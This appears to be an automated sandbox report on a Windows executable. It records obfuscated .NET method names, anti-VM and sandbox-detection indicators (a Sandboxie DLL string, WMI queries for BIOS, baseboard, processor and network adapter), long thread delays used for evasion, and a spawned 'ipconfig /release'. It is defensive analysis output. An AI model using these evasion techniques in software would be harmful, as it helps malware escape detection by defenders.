Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, C4LZocsJmUFZM3f0wej.cs	High entropy of concatenated method names: 'dU2HAukkjU', 'MDVHzBWdAl', 'HGNEfjcgK7', 'aMeEbmWvLL', 'rA5EhMaKks', 'kxqEOqRm1V', 'DfRE6JNSDp', 'WeNcEHZZpD', 'xZqEiJOF5q', 'YYnEdnjglL'
Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, tiLJlFegcsjJY5bvKoi.cs	High entropy of concatenated method names: 'HJxQhOTdJnuFWxPE3le', 'mbf0dUTmIxaouRSvt1g', 'dfusqa2bab', 'vh0ry9Sq2v', 'DPqs0hh2g3', 'lGusLvGdLx', 'uGeswmuZOp', 'GyisNSe7HQ', 'Fe9P1whZbC', 'i6LeWP3AHy'
Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, JaR1TLbKvV3KQlwEEf6.cs	High entropy of concatenated method names: 'x6Vbe65AaY', 'MQAbsxC4KE', 'Tc2b0oVdXU', 'e7sbwS2Jds', 'OF3buvqJGu', 'ke6bEtuqt2', 'UPGbGeADEf', 'umxbpjYUb8', 'KkmbaWVSSG', 'iSDbZOxwm9'
Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, zXtqTfytwsUqV0HbShR.cs	High entropy of concatenated method names: 'qkkyPcuqL7', 'KJryC1eARu', 'G6Xy9S23QF', 'aBAySfsy7p', 'MrVyXWpnD5', 'FJNyJf7jQa', 'Fv5yAiQLQc', 'tvfyzPeXnR', 'RcHefgvMfZ', 'RlxebrdJHq'
Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, aX1L9ZdT0YTnGGVqLfb.cs	High entropy of concatenated method names: 'WIwdx7ZVUF', 'ArkdCRc2ZY', 'CysdS5CJl4', 'JnOdJK8bUE', 'zjadANr8ZU', 'LT6dzHCTVY', 'mgtmfhB6HK', 'ttVmb8TbeW', 'vMamh3Yx7C', 'GcxmOV2YxH'
Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, imGtPFK9EYwyvmpx65q.cs	High entropy of concatenated method names: 'BtYywKLIZF', 'IydyNHiMlZ', 'hi1yusD1r8', 'mdxHMX8ay7s2r893ekH', 'L5xo2T8lgV47WyWx3xr', 'vpxKXe4J7V', 'GVxKJqX6Eq', 'bgfKAy818Z', 'Q4kKzmwGSW', 'vaWyfH5jSM'

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: xnlP06YunJ.exe PID: 6616, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Memory allocated: 1A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Memory allocated: 33A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Memory allocated: 31A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Memory allocated: D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Memory allocated: 2830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Memory allocated: 4830000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598455	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598197	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597868	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597747	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597639	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597530	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597412	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595226	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 595057	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594873	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594764	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594651	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594436	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Thread delayed: delay time: 594219	Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Window / User API: threadDelayed 1727			Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Window / User API: threadDelayed 8106			Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598455s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598197s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597868s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597747s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597639s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597530s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597412s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595226s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -595057s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -594873s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -594764s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -594651s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -594547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -594436s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -594328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe TID: 6180	Thread sleep time: -594219s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
